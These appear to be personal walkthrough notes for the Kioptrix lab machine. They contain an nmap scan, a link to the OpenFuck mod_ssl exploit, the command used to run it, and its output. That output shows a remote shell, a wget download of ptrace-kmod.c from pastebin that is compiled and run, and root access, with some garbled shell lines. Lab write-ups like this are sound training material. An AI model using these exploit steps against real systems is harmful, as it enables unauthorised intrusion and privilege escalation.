

```

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
_ ssh-hostkey:
  1024 08:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
  1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
_ http-methods:
  _ Potentially risky methods: TRACE
_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
_ http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind      2 (RPC #100000)
_ rpcinfo:
  program version  port/proto  service
  100000  2          111/tcp     rpcbind
  100000  2          111/udp     rpcbind
  100024  1          32768/tcp   status
  100024  1          32768/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: VMYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
_ http-title: 400 Bad Request
_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
Not valid before: 2009-09-26T09:32:06
_ Not valid after: 2010-09-26T09:32:06
_ ssl-date: 2021-02-02T04:12:52+00:00; +5h00m00s from scanner time.
ssl2:
  SSLv2 supported
  ciphers:
    SSL2_RC4_128_WITH_MD5
    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
    SSL2_RC4_64_WITH_MD5
    SSL2_RC2_128_CBC_WITH_MD5
    SSL2_RC4_128_EXPORT40_WITH_MD5
    SSL2_DES_192_EDE3_CBC_WITH_MD5
    SSL2_DES_64_CBC_WITH_MD5
32768/tcp open  status       1 (RPC #100024)

Host script results:
_ clock-skew: 4h59m59s
_ nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
_ smb2-time: Protocol negotiation failed (SMB2)

```

Apache 1.3.20 (!!!) really old

Found openFuck exploit <https://www.exploit-db.com/exploits/764> with searchsploit

Just use this, exploithub was giving a lot of problems

<https://github.com/heltonWernik/OpenLuck> → ./OpenFuck 0x6b 10.0.2.4 443 -c 40

```

(kali㉿kali)-[~/Desktop/OpenFuck]
$ ./OpenFuck | grep "1.3.20"
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 - SuSE Linux 7.3 (apache-1.3.20)

(kali㉿kali)-[~/Desktop/OpenFuck]
$

```

We're in boys

```
(kali㉿kali)-[~/Desktop/OpenFuck]
$ ./OpenFuck 0x6b 10.0.2.4 443 -c 40

*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM      with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena    irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c  ciphers: 0x80fa200
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -o pt
--10:35:29-- https://pastebin.com/raw/C7v25Xr9
      => `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

0K ... @ 3.84 MB/s

10:35:33 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status
whoami
root
|
```

```
/bin/bash -i
bash: no job control in this shell
stty: standard input: Invalid argument
[root@kioptrix tmp]# whoami
whoami
root
[root@kioptrix tmp]# |
```